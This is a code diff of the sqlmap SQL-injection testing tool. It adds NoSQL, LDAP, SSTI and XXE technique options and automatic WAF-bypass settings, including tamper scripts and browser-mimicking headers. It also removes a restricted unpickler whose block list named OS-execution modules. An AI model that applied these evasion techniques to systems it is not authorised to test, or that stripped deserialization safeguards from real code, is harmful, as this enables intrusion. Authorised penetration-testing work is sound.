|
||||
_setOpenApiTargets()
|
||||
_checkTor()
|
||||
_setCrawler()
|
||||
_findPageForms()
|
||||
|
||||
+20
-1
@@ -19,6 +19,9 @@ optDict = {
|
||||
"sessionFile": "string",
|
||||
"googleDork": "string",
|
||||
"configFile": "string",
|
||||
"openApiFile": "string",
|
||||
"openApiBase": "string",
|
||||
"openApiTags": "string",
|
||||
},
|
||||
|
||||
"Request": {
|
||||
@@ -77,8 +80,8 @@ optDict = {
|
||||
|
||||
"Optimization": {
|
||||
"optimize": "boolean",
|
||||
"predictOutput": "boolean",
|
||||
"keepAlive": "boolean",
|
||||
"noKeepAlive": "boolean",
|
||||
"nullConnection": "boolean",
|
||||
"threads": "integer",
|
||||
},
|
||||
@@ -100,6 +103,7 @@ optDict = {
|
||||
"prefix": "string",
|
||||
"suffix": "string",
|
||||
"tamper": "string",
|
||||
"proof": "boolean",
|
||||
},
|
||||
|
||||
"Detection": {
|
||||
@@ -116,7 +120,16 @@ optDict = {
|
||||
|
||||
"Techniques": {
|
||||
"technique": "string",
|
||||
"nosql": "boolean",
|
||||
"graphql": "boolean",
|
||||
"ldap": "boolean",
|
||||
"xpath": "boolean",
|
||||
"ssti": "boolean",
|
||||
"xxe": "boolean",
|
||||
"oobServer": "string",
|
||||
"oobToken": "string",
|
||||
"timeSec": "integer",
|
||||
"timeless": "boolean",
|
||||
"uCols": "string",
|
||||
"uChar": "string",
|
||||
"uFrom": "string",
|
||||
@@ -151,6 +164,7 @@ optDict = {
|
||||
"search": "boolean",
|
||||
"getComments": "boolean",
|
||||
"getStatements": "boolean",
|
||||
"getProcs": "boolean",
|
||||
"db": "string",
|
||||
"tbl": "string",
|
||||
"col": "string",
|
||||
@@ -235,6 +249,7 @@ optDict = {
|
||||
"postprocess": "string",
|
||||
"preprocess": "string",
|
||||
"repair": "boolean",
|
||||
"reportJson": "string",
|
||||
"saveConfig": "string",
|
||||
"scope": "string",
|
||||
"skipHeuristics": "boolean",
|
||||
@@ -268,10 +283,14 @@ optDict = {
|
||||
"Hidden": {
|
||||
"dummy": "boolean",
|
||||
"disablePrecon": "boolean",
|
||||
"noHuffman": "boolean",
|
||||
"profile": "boolean",
|
||||
"forceDns": "boolean",
|
||||
"murphyRate": "integer",
|
||||
"smokeTest": "boolean",
|
||||
"fpTest": "boolean",
|
||||
"payloadLint": "boolean",
|
||||
"apiTest": "boolean",
|
||||
},
|
||||
|
||||
"API": {
|
||||
|
||||
+2
-41
@@ -6,7 +6,6 @@ See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import codecs
|
||||
import collections
|
||||
import difflib
|
||||
import inspect
|
||||
import logging
|
||||
@@ -71,7 +70,8 @@ def dirtyPatches():
|
||||
|
||||
# add support for inet_pton() on Windows OS
|
||||
if IS_WIN:
|
||||
from thirdparty.wininetpton import win_inet_pton
|
||||
from thirdparty.wininetpton.win_inet_pton import inject_into_socket
|
||||
inject_into_socket()
|
||||
|
||||
# Reference: https://github.com/nodejs/node/issues/12786#issuecomment-298652440
|
||||
codecs.register(lambda name: codecs.lookup("utf-8") if name == "cp65001" else None)
|
||||
@@ -178,45 +178,6 @@ def dirtyPatches():
|
||||
et.parse = _safe_parse
|
||||
et._patched = True
|
||||
|
||||
import io
|
||||
import pickle
|
||||
if not getattr(pickle, "_patched", False):
|
||||
class RestrictedUnpickler(pickle.Unpickler):
|
||||
def find_class(self, module, name):
|
||||
# blacklist for OS-level execution modules
|
||||
if module in ("os", "subprocess", "sys", "posix", "nt", "pty", "commands", "shutil"):
|
||||
raise ValueError("unpickling of module '%s' is forbidden" % module)
|
||||
|
||||
# partial whitelist for builtins to allow safe data types but block eval/exec/__import__
|
||||
if module in ("builtins", "__builtin__") and name not in ("set", "frozenset", "dict", "list", "tuple", "int", "float", "bool", "str", "bytes", "bytearray", "object", "NoneType"):
|
||||
raise ValueError("unpickling of '%s.%s' is forbidden" % (module, name))
|
||||
|
||||
# Python 2/3 method resolution
|
||||
if hasattr(pickle.Unpickler, "find_class"):
|
||||
return pickle.Unpickler.find_class(self, module, name)
|
||||
|
||||
__import__(module)
|
||||
return getattr(sys.modules[module], name)
|
||||
|
||||
def _safe_loads(data):
|
||||
try:
|
||||
stream = io.BytesIO(data)
|
||||
except TypeError:
|
||||
stream = io.StringIO(data)
|
||||
|
||||
return RestrictedUnpickler(stream).load()
|
||||
|
||||
pickle.loads = _safe_loads
|
||||
pickle._patched = True
|
||||
|
||||
try:
|
||||
import cPickle
|
||||
if not getattr(cPickle, "_patched", False):
|
||||
cPickle.loads = pickle.loads
|
||||
cPickle._patched = True
|
||||
except ImportError:
|
||||
pass
|
||||
|
||||
try:
|
||||
import builtins
|
||||
except ImportError:
|
||||
|
||||
@@ -7,15 +7,21 @@ See the file 'LICENSE' for copying permission
|
||||
|
||||
_readline = None
|
||||
try:
|
||||
from readline import *
|
||||
import readline as _readline
|
||||
except:
|
||||
try:
|
||||
from pyreadline import *
|
||||
import pyreadline as _readline
|
||||
except:
|
||||
pass
|
||||
|
||||
if _readline:
|
||||
_symbols = getattr(_readline, "__all__", None)
|
||||
if _symbols is None:
|
||||
_symbols = (name for name in dir(_readline) if not name.startswith("_"))
|
||||
|
||||
for _symbol in _symbols:
|
||||
globals()[_symbol] = getattr(_readline, _symbol)
|
||||
|
||||
from lib.core.data import logger
|
||||
from lib.core.settings import IS_WIN
|
||||
from lib.core.settings import PLATFORM
|
||||
|
||||
+15
-3
@@ -23,8 +23,11 @@ class Replication(object):
|
||||
"""
|
||||
|
||||
def __init__(self, dbpath):
|
||||
self.dbpath = dbpath
|
||||
self.connection = None
|
||||
self.cursor = None
|
||||
|
||||
try:
|
||||
self.dbpath = dbpath
|
||||
self.connection = sqlite3.connect(dbpath)
|
||||
self.connection.isolation_level = None
|
||||
self.cursor = self.connection.cursor()
|
||||
@@ -120,8 +123,17 @@ class Replication(object):
|
||||
return Replication.Table(parent=self, name=tblname, columns=columns, typeless=typeless)
|
||||
|
||||
def __del__(self):
|
||||
self.cursor.close()
|
||||
self.connection.close()
|
||||
try:
|
||||
if self.cursor is not None:
|
||||
self.cursor.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
try:
|
||||
if self.connection is not None:
|
||||
self.connection.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# sqlite data types
|
||||
NULL = DataType('NULL')
|
||||
|
||||
+480
-13
@@ -20,7 +20,7 @@ from lib.core.enums import OS
|
||||
from thirdparty import six
|
||||
|
||||
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
||||
VERSION = "1.10.6.95"
|
||||
VERSION = "1.10.7.59"
|
||||
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
||||
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
||||
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
||||
@@ -54,6 +54,38 @@ IPS_WAF_CHECK_RATIO = 0.5
|
||||
# Timeout used in heuristic check for WAF/IPS protected targets
|
||||
IPS_WAF_CHECK_TIMEOUT = 10
|
||||
|
||||
# HTTP status codes a WAF/IPS typically returns when it blocks a request. Used to reject a boolean
|
||||
# "injection" whose only TRUE/FALSE difference is the always-true payload being blocked (a status-code
|
||||
# false positive) rather than the back-end actually answering.
|
||||
WAF_BLOCK_HTTP_CODES = (403, 406, 429, 451, 501, 503)
|
||||
|
||||
# Candidate tamper scripts for automatic WAF-bypass, ordered by empirical WAF-bypass value
|
||||
# (structural token-substitution first, camouflage last; per identYwaf data). The back-end DBMS
|
||||
# is not pre-filtered here: semantics-preservation is verified at runtime by re-running detection
|
||||
# through each candidate, so a DBMS-incompatible script simply fails the trial and is discarded.
|
||||
WAF_BYPASS_TAMPERS = (
|
||||
"equaltolike",
|
||||
"between",
|
||||
"greatest",
|
||||
"charencode",
|
||||
"randomcase",
|
||||
"space2comment",
|
||||
"versionedkeywords",
|
||||
"space2hash",
|
||||
)
|
||||
|
||||
# Maximum number of candidate tamper (chains) trialled during automatic WAF-bypass
|
||||
WAF_BYPASS_MAX_TRIALS = 8
|
||||
|
||||
# Browser-like request headers applied alongside the random (non-scanner) User-Agent during
|
||||
# automatic WAF bypass: sqlmap's defaults ('Accept: */*', no 'Accept-Language') are themselves a
|
||||
# non-browser tell that header/behavioral WAFs key on, so the whole request fingerprint - not just
|
||||
# the UA - is made to look like a real browser. Kept standard so it cannot skew content negotiation.
|
||||
WAF_BYPASS_HTTP_HEADERS = (
|
||||
("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"),
|
||||
("Accept-Language", "en-US,en;q=0.5"),
|
||||
)
|
||||
|
||||
# Timeout used in checking for existence of live-cookies file
|
||||
LIVE_COOKIES_TIMEOUT = 120
|
||||
|
||||
@@ -109,6 +141,9 @@ FUZZ_UNION_ERROR_REGEX = r"(?i)data\s?type|mismatch|comparable|compatible|conver
|
||||
# Upper threshold for starting the fuzz(y) UNION test
|
||||
FUZZ_UNION_MAX_COLUMNS = 10
|
||||
|
||||
# Maximum number of probe requests the fuzz(y) UNION test may issue (bounds its otherwise exponential type-combination search when run automatically)
|
||||
FUZZ_UNION_MAX_REQUESTS = 80
|
||||
|
||||
# Regular expression used for recognition of generic maximum connection messages
|
||||
MAX_CONNECTIONS_REGEX = r"\bmax.{1,100}\bconnection"
|
||||
|
||||
@@ -148,6 +183,29 @@ DUMMY_SEARCH_USER_AGENT = "Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100
|
||||
# Regular expression used for extracting content from "textual" tags
|
||||
TEXT_TAG_REGEX = r"(?si)<(abbr|acronym|b|blockquote|br|center|cite|code|dt|em|font|h[1-6]|i|li|p|pre|q|strong|sub|sup|td|th|title|tt|u)(?!\w).*?>(?P<result>[^<]+)"
|
||||
|
||||
# Regular expressions used for extracting a value-free structural skeleton of a (HTML) page (tag
|
||||
# names and class/id attribute hooks), for structure-aware comparison of pages whose textual
|
||||
# content is dynamic but whose layout is stable
|
||||
STRUCTURAL_TAG_REGEX = r"(?si)<\s*([a-z][a-z0-9]*)((?:\s+[^<>]*)?)/?>"
|
||||
STRUCTURAL_CLASS_REGEX = r"""(?si)\bclass\s*=\s*(?:"([^"]*)"|'([^']*)'|([^\s"'<>]+))"""
|
||||
STRUCTURAL_ID_REGEX = r"""(?si)\bid\s*=\s*(?:"([^"]*)"|'([^']*)'|([^\s"'<>]+))"""
|
||||
|
||||
# Minimum response size (in bytes) for the 'skip-read' NULL connection method to be used. Unlike
|
||||
# HEAD/Range, 'skip-read' leaves the body unread and must therefore close the connection (an unread
|
||||
# body cannot be reused), paying a fresh TCP/TLS handshake per request. That only pays off when
|
||||
# avoiding the body transfer outweighs the reconnect - i.e. for large responses; for small ones it
|
||||
# is a net slowdown, so it is gated by this size
|
||||
NULL_CONNECTION_SKIP_READ_MIN_LENGTH = 256 * 1024
|
||||
|
||||
# Coarse plausibility band for a NULL connection method's reported length, relative to the known
|
||||
# original page length (len(kb.originalPage)). A method is accepted only if its length falls within
|
||||
# it; this rejects a method whose length does not track the real GET response (e.g. HEAD returning
|
||||
# 'Content-Length: 0', HEAD served from a different code path, or sneaked-in compression). The band
|
||||
# is deliberately generous (byte-vs-character size and moderate page dynamism are expected, and a
|
||||
# false reject merely forgoes the optimization, which is safe) - it only catches gross mismatches
|
||||
NULL_CONNECTION_LENGTH_TOLERANCE_LOW = 0.5
|
||||
NULL_CONNECTION_LENGTH_TOLERANCE_HIGH = 4.0
|
||||
|
||||
# Regular expression used for recognition of IP addresses
|
||||
IP_ADDRESS_REGEX = r"\b(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\b"
|
||||
|
||||
@@ -191,9 +249,15 @@ THREAD_FINALIZATION_TIMEOUT = 1
|
||||
# Maximum number of techniques used in inject.py/getValue() per one value
|
||||
MAX_TECHNIQUES_PER_VALUE = 2
|
||||
|
||||
# Fraction of the currently displayed progress-bar ETA kept when a fresh estimate arrives (eases the on-screen countdown toward the new value instead of snapping); 0 disables smoothing, higher is smoother but laggier
|
||||
ETA_DISPLAY_SMOOTHING = 0.5
|
||||
|
||||
# In case of missing piece of partial union dump, buffered array must be flushed after certain size
|
||||
MAX_BUFFERED_PARTIAL_UNION_LENGTH = 1024
|
||||
|
||||
# Initial number of rows aggregated per request when a full (single-shot) JSON-agg UNION dump is too large and falls back to chunked windowed aggregation (halved adaptively if a chunk response still gets truncated)
|
||||
JSON_AGG_CHUNK_ROWS = 1000
|
||||
|
||||
# Maximum size of cache used in @cachedmethod decorator
|
||||
MAX_CACHE_ITEMS = 1024
|
||||
|
||||
@@ -279,7 +343,7 @@ FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CO
|
||||
MAXDB_SYSTEM_DBS = ("SYSINFO", "DOMAIN")
|
||||
SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs", "tempdb")
|
||||
DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS", "SYSDEBUG", "SYSINST")
|
||||
HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB")
|
||||
HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOBS")
|
||||
H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",) + ("IGNITE", "ignite-sys-cache")
|
||||
INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin")
|
||||
MONETDB_SYSTEM_DBS = ("tmp", "json", "profiler")
|
||||
@@ -336,7 +400,7 @@ HANA_ALIASES = ("hana", "sap hana", "saphana", "hdb")
|
||||
|
||||
DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_"))
|
||||
|
||||
SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CLICKHOUSE_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES + RAIMA_ALIASES + VIRTUOSO_ALIASES + SNOWFLAKE_ALIASES + SPANNER_ALIASES + HANA_ALIASES)
|
||||
SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CLICKHOUSE_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES + FRONTBASE_ALIASES + RAIMA_ALIASES + VIRTUOSO_ALIASES + SNOWFLAKE_ALIASES + SPANNER_ALIASES + HANA_ALIASES)
|
||||
SUPPORTED_OS = ("linux", "windows")
|
||||
|
||||
DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES), (DBMS.RAIMA, RAIMA_ALIASES), (DBMS.VIRTUOSO, VIRTUOSO_ALIASES), (DBMS.SNOWFLAKE, SNOWFLAKE_ALIASES), (DBMS.SPANNER, SPANNER_ALIASES), (DBMS.HANA, HANA_ALIASES))
|
||||
@@ -433,7 +497,8 @@ ERROR_PARSING_REGEXES = (
|
||||
r"error '[0-9a-f]{8}'((<[^>]+>)|\s)+(?P<result>[^<>]+)",
|
||||
r"\[[^\n\]]{1,100}(ODBC|JDBC)[^\n\]]+\](\[[^\]]+\])?(?P<result>[^\n]+(in query expression|\(SQL| at /[^ ]+pdo)[^\n<]+)",
|
||||
r"(?P<result>query error: SELECT[^<>]+)",
|
||||
r"(?P<result>(?:(?:ORA|PLS)-[0-9]{5}:|SQLCODE[ =:]+-?[0-9]+|SQLSTATE[ =:]+[0-9A-Z]{5}|Dynamic SQL Error|DB2 SQL error:|SAP DBTech JDBC:|SQLiteException:|You have an error in your SQL syntax;|Incorrect syntax near |Unclosed quotation mark after the character string|near \"[^\"]+\": syntax error)[^\n<]*)"
|
||||
r"(?P<result>(?:(?:ORA|PLS)-[0-9]{5}:|SQLCODE[ =:]+-?[0-9]+|SQLSTATE[ =:]+[0-9A-Z]{5}|Dynamic SQL Error|DB2 SQL error:|SAP DBTech JDBC:|SQLiteException:|You have an error in your SQL syntax;|Incorrect syntax near |Unclosed quotation mark after the character string|near \"[^\"]+\": syntax error)[^\n<]*)",
|
||||
r'"(?:errmsg|errorMessage|reason|msg)"\s*:\s*"(?P<result>[^"]+)"' # generic JSON error-message field (NoSQL document/REST back-ends)
|
||||
)
|
||||
|
||||
# Regular expression used for parsing charset info from meta html headers
|
||||
@@ -481,6 +546,74 @@ SENSITIVE_OPTIONS = ("hostname", "answers", "data", "dnsDomain", "googleDork", "
|
||||
# Maximum number of threads (avoiding connection issues and/or DoS)
|
||||
MAX_NUMBER_OF_THREADS = 10
|
||||
|
||||
# Wrapper applied to MySQL UNION-based retrieval values to neutralize "Illegal mix of collations" errors (e.g. utf8mb4_0900_ai_ci tables vs a utf8mb4_general_ci connection on MySQL 8+). CONVERT normalizes the (possibly binary) charset to utf8mb4 and the explicit COLLATE then wins the UNION column merge (highest coercibility)
|
||||
MYSQL_UNION_VALUE_CAST = "CONVERT(%s USING utf8mb4) COLLATE utf8mb4_bin"
|
||||
|
||||
# Row count at/above which keyset (seek) pagination is used automatically for table dumps when a usable integer-key cursor exists (smaller tables keep the plain LIMIT/OFFSET path; '--keyset' forces it regardless of size)
|
||||
KEYSET_MIN_ROWS = 1000
|
||||
|
||||
# Number of consecutive Huffman (set-membership) character attempts allowed to decline/escape without a single validated success before the technique latches itself off (safety against trimmed/blocked long IN() payloads)
|
||||
HUFFMAN_PROBE_LIMIT = 8
|
||||
|
||||
# Cold-start (prior) weights for the order-0 Huffman model used in adaptive blind retrieval. Gently
|
||||
# biases the initial tree toward bytes that dominate real DBMS output (lowercase text, digits, common
|
||||
# identifier punctuation) so SHORT extractions don't pay the full balanced-tree depth before the online
|
||||
# frequency model warms up. Magnitude is small so genuine learned counts overtake it within a few dozen
|
||||
# characters (kept low-risk for uniform/hex columns: hex digits 0-9a-f are themselves favored here).
|
||||
HUFFMAN_PRIOR_WEIGHTS = {}
|
||||
for _weight, _chars in ((6, " etaoinsrhldcumfgypwbvkxjqz"), (4, "0123456789"), (3, "_.-/@:,'")):
|
||||
for _char in _chars:
|
||||
HUFFMAN_PRIOR_WEIGHTS[ord(_char)] = _weight
|
||||
|
||||
# Enumeration contexts (kb.partRun) for which predictive inference is active by default: the identifier
|
||||
# names retrieved here are drawn from a known, skewed distribution captured by the common-tables/
|
||||
# common-columns wordlists, so whole-value prediction / charset reordering pays off. Deliberately NOT
|
||||
# applied to arbitrary dumped data (unknown distribution) or one-shot values (banner, current-user).
|
||||
NAME_PREDICTION_CONTEXTS = ("Tables", "Columns")
|
||||
|
||||
# Order of the character-level Markov model used to seed the Huffman set-membership tree during blind
|
||||
# name enumeration: warmed from the shipped identifier corpus so it predicts a name from the first
|
||||
# character (identifiers are short, structured and low-entropy). CATALOG_IDENTIFIERS_PRIOR_PEAK is the
|
||||
# weight the corpus prior is scaled to (higher -> the predicted next character sits nearer the tree
|
||||
# root -> closer to one request per character). Data dumps keep the classic order-0 adaptive model.
|
||||
NAME_MARKOV_ORDER = 3
|
||||
CATALOG_IDENTIFIERS_PRIOR_PEAK = 20
|
||||
|
||||
# Maximum number of distinct values a dumped column may show before it is treated as high-cardinality
|
||||
# and whole-value guessing is abandoned for it. At or below this, each new cell is first confirmed by
|
||||
# equality against the values already seen for that column (one request on a hit) before per-character
|
||||
# extraction. Self-verifying, so it never returns a wrong value; the bound keeps misses cheap.
|
||||
LOW_CARDINALITY_THRESHOLD = 32
|
||||
|
||||
# Oracle-reliability litmus: during bulk blind extraction (dumps / name enumeration) a known-answer
|
||||
# differential is fired every this-many extracted values - one probe that MUST be TRUE (the value we just
|
||||
# read equals itself) and one that MUST be FALSE (it equals a deliberately corrupted copy). A healthy
|
||||
# oracle always answers T/F; an always-true channel (WAF/200-for-everything, reads-everything-true) or a
|
||||
# flaky/degraded one (timing jitter, lease near end-of-life) trips it - converting SILENT data corruption
|
||||
# into a one-time "results may be unreliable" warning. The first value is always checked (catch it before
|
||||
# a whole garbage dump), then every Nth. Cheap and amortized; set to 0 to disable.
|
||||
ORACLE_LITMUS_CHECK_EVERY = 25
|
||||
|
||||
# Whole-value guessing only starts once some value has repeated (proof the column is low-cardinality), so
|
||||
# an all-unique column - primary key, hash, free text - never wastes a probe. Once armed, at most this
|
||||
# many candidates (most-frequent first) are tried per cell, so even a column that trips the threshold with
|
||||
# many near-unique values can only ever waste a small, bounded number of probes before falling back.
|
||||
LOW_CARDINALITY_MAX_GUESSES = 8
|
||||
|
||||
# Number of consecutive dumped rows a column's observed character set must stay unchanged before it is
|
||||
# trusted as closed and used to restrict the time-based bisection alphabet. A column whose alphabet keeps
|
||||
# growing (e.g. a monotonic primary key or high-entropy text) never reaches this, so it is never charged
|
||||
# the speculative restricted-search-then-escalate cost.
|
||||
DUMP_CHARSET_STABLE_ROWS = 3
|
||||
|
||||
# Bounds for feeding extracted values back into the predictive-inference pool for their enumeration
|
||||
# context, so later same-context items that share structure (e.g. wp_posts / wp_users / wp_options ...)
|
||||
# are predicted faster. MAX_LENGTH keeps large data cells from bloating/polluting the pool (identifiers
|
||||
# are short); MAX_ITEMS bounds per-context growth so a huge enumeration cannot make the per-character
|
||||
# prediction scan costly. Only fed single-threaded (never mutated under value-parallel enumeration).
|
||||
PREDICTION_FEEDBACK_MAX_LENGTH = 128
|
||||
PREDICTION_FEEDBACK_MAX_ITEMS = 10000
|
||||
|
||||
# Minimum range between minimum and maximum of statistical set
|
||||
MIN_STATISTICAL_RANGE = 0.01
|
||||
|
||||
@@ -626,10 +759,13 @@ DUMMY_SQL_INJECTION_CHARS = ";()'"
|
||||
DUMMY_USER_INJECTION = r"(?i)[^\w](AND|OR)\s+[^\s]+[=><]|\bUNION\b.+\bSELECT\b|\bSELECT\b.+\bFROM\b|\b(CONCAT|information_schema|SLEEP|DELAY|FLOOR\(RAND)\b"
|
||||
|
||||
# Extensions skipped by crawler
|
||||
CRAWL_EXCLUDE_EXTENSIONS = frozenset(("3ds", "3g2", "3gp", "7z", "DS_Store", "a", "aac", "accdb", "access", "adp", "ai", "aif", "aiff", "apk", "ar", "asf", "au", "avi", "bak", "bin", "bk", "bkp", "bmp", "btif", "bz2", "c", "cab", "caf", "cfg", "cgm", "cmx", "com", "conf", "config", "cpio", "cpp", "cr2", "cue", "dat", "db", "dbf", "deb", "debug", "djvu", "dll", "dmg", "dmp", "dng", "doc", "docx", "dot", "dotx", "dra", "dsk", "dts", "dtshd", "dvb", "dwg", "dxf", "dylib", "ear", "ecelp4800", "ecelp7470", "ecelp9600", "egg", "elf", "env", "eol", "eot", "epub", "error", "exe", "f4v", "fbs", "fh", "fla", "flac", "fli", "flv", "fpx", "fst", "fvt", "g3", "gif", "go", "gz", "h", "h261", "h263", "h264", "ico", "ief", "img", "ini", "ipa", "iso", "jar", "java", "jpeg", "jpg", "jpgv", "jpm", "js", "jxr", "ktx", "lock", "log", "lvp", "lz", "lzma", "lzo", "m3u", "m4a", "m4v", "mar", "mdb", "mdi", "mid", "mj2", "mka", "mkv", "mmr", "mng", "mov", "movie", "mp3", "mp4", "mp4a", "mpeg", "mpg", "mpga", "msi", "mxu", "nef", "npx", "nrg", "o", "oga", "ogg", "ogv", "old", "otf", "ova", "ovf", "pbm", "pcx", "pdf", "pea", "pgm", "php", "pic", "pid", "pkg", "png", "pnm", "ppm", "pps", "ppt", "pptx", "ps", "psd", "py", "pya", "pyc", "pyo", "pyv", "qt", "rar", "ras", "raw", "rb", "rgb", "rip", "rlc", "rs", "run", "rz", "s3m", "s7z", "scm", "scpt", "service", "sgi", "shar", "sil", "smv", "so", "sock", "socket", "sqlite", "sqlitedb", "sub", "svc", "swf", "swo", "swp", "sys", "tar", "tbz2", "temp", "tga", "tgz", "tif", "tiff", "tlz", "tmp", "toast", "torrent", "ts", "ttf", "uvh", "uvi", "uvm", "uvp", "uvs", "uvu", "vbox", "vdi", "vhd", "vhdx", "viv", "vmdk", "vmx", "vob", "vxd", "war", "wav", "wax", "wbmp", "wdp", "weba", "webm", "webp", "whl", "wm", "wma", "wmv", "wmx", "woff", "woff2", "wvx", "xbm", "xif", "xls", "xlsx", "xlt", "xm", "xpi", "xpm", "xwd", "xz", "yaml", "yml", "z", "zip", "zipx"))
|
||||
CRAWL_EXCLUDE_EXTENSIONS = frozenset(("3ds", "3g2", "3gp", "7z", "DS_Store", "a", "aac", "accdb", "access", "adp", "ai", "aif", "aiff", "apk", "ar", "asf", "au", "avi", "bak", "bin", "bk", "bkp", "bmp", "btif", "bz2", "c", "cab", "caf", "cfg", "cgm", "cmx", "com", "conf", "config", "cpio", "cpp", "cr2", "cue", "dat", "db", "dbf", "deb", "debug", "djvu", "dll", "dmg", "dmp", "dng", "doc", "docx", "dot", "dotx", "dra", "dsk", "dts", "dtshd", "dvb", "dwg", "dxf", "dylib", "ear", "ecelp4800", "ecelp7470", "ecelp9600", "egg", "elf", "env", "eol", "eot", "epub", "error", "exe", "f4v", "fbs", "fh", "fla", "flac", "fli", "flv", "fpx", "fst", "fvt", "g3", "gif", "go", "gz", "h", "h261", "h263", "h264", "ico", "ief", "img", "ini", "ipa", "iso", "jar", "java", "jpeg", "jpg", "jpgv", "jpm", "js", "jxr", "ktx", "lock", "log", "lvp", "lz", "lzma", "lzo", "m3u", "m4a", "m4v", "mar", "mdb", "mdi", "mid", "mj2", "mka", "mkv", "mmr", "mng", "mov", "movie", "mp3", "mp4", "mp4a", "mpeg", "mpg", "mpga", "msi", "mxu", "nef", "npx", "nrg", "o", "oga", "ogg", "ogv", "old", "otf", "ova", "ovf", "pbm", "pcx", "pdf", "pea", "pgm", "pic", "pid", "pkg", "png", "pnm", "ppm", "pps", "ppt", "pptx", "ps", "psd", "py", "pya", "pyc", "pyo", "pyv", "qt", "rar", "ras", "raw", "rb", "rgb", "rip", "rlc", "rs", "run", "rz", "s3m", "s7z", "scm", "scpt", "service", "sgi", "shar", "sil", "smv", "so", "sock", "socket", "sqlite", "sqlitedb", "sub", "svc", "swf", "swo", "swp", "sys", "tar", "tbz2", "temp", "tga", "tgz", "tif", "tiff", "tlz", "tmp", "toast", "torrent", "ts", "ttf", "uvh", "uvi", "uvm", "uvp", "uvs", "uvu", "vbox", "vdi", "vhd", "vhdx", "viv", "vmdk", "vmx", "vob", "vxd", "war", "wav", "wax", "wbmp", "wdp", "weba", "webm", "webp", "whl", "wm", "wma", "wmv", "wmx", "woff", "woff2", "wvx", "xbm", "xif", "xls", "xlsx", "xlt", "xm", "xpi", "xpm", "xwd", "xz", "yaml", "yml", "z", "zip", "zipx"))
|
||||
|
||||
# Patterns often seen in HTTP headers containing custom injection marking character '*'
|
||||
PROBLEMATIC_CUSTOM_INJECTION_PATTERNS = r"(;q=[^;']+)|(\*/\*)"
|
||||
# Note: the ';q=' quality-value class excludes '*' so a user-placed injection mark right after a
|
||||
# quality value (e.g. 'Accept: ...;q=0.9*') is not swallowed (ref: #5357 - header injection was then
|
||||
# missed on a GET lacking a Content-Length header, which is otherwise what forces params detection)
|
||||
PROBLEMATIC_CUSTOM_INJECTION_PATTERNS = r"(;q=[^;'*]+)|(\*/\*)"
|
||||
|
||||
# Template used for common table existence check
|
